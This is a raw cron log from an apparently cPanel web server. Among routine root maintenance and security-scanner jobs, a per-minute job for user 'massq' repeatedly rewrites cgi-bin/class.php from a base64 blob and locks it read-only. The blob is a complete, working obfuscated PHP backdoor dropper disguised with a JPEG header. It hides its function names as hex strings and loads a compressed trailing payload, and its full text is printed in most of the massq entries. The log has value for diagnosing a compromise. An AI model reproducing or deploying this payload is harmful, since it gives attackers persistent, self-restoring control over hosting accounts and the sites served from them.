Aug 31 21:50:01 server CROND[11095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:50:01 server CROND[11090]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:50:01 server CROND[11092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:50:01 server CROND[11097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:50:01 server CROND[11085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:51:01 server CROND[11973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:51:01 server CROND[11974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:51:01 server CROND[11975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:52:01 server CROND[12476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:52:01 server CROND[12477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:52:01 server CROND[12478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:53:01 server CROND[12861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:53:01 server CROND[12862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:53:01 server CROND[12863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:54:01 server CROND[13241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:54:01 server CROND[13242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:54:01 server CROND[13243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:55:01 server CROND[13648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:55:01 server CROND[13650]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:55:01 server CROND[13649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:55:01 server CROND[13651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:55:01 server CROND[13652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:55:01 server CROND[13657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:55:01 server CROND[13654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:56:01 server CROND[14513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:56:01 server CROND[14514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:56:01 server CROND[14515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:57:01 server CROND[14995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:57:01 server CROND[14997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:57:01 server CROND[14998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:57:01 server CROND[14996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:58:01 server CROND[15387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:58:01 server CROND[15388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:58:01 server CROND[15389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:59:01 server CROND[15775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:59:01 server CROND[15776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:59:01 server CROND[15777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:00:01 server CROND[16174]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:00:01 server CROND[16175]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 22:00:01 server CROND[16176]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:00:01 server CROND[16201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:00:01 server CROND[16204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:00:01 server CROND[16208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:00:01 server CROND[16205]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 22:00:01 server CROND[16207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:00:01 server CROND[16209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:00:01 server CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:01:01 server CROND[17039]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 22:01:01 server CROND[17040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:01:01 server CROND[17041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:01:01 server CROND[17042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
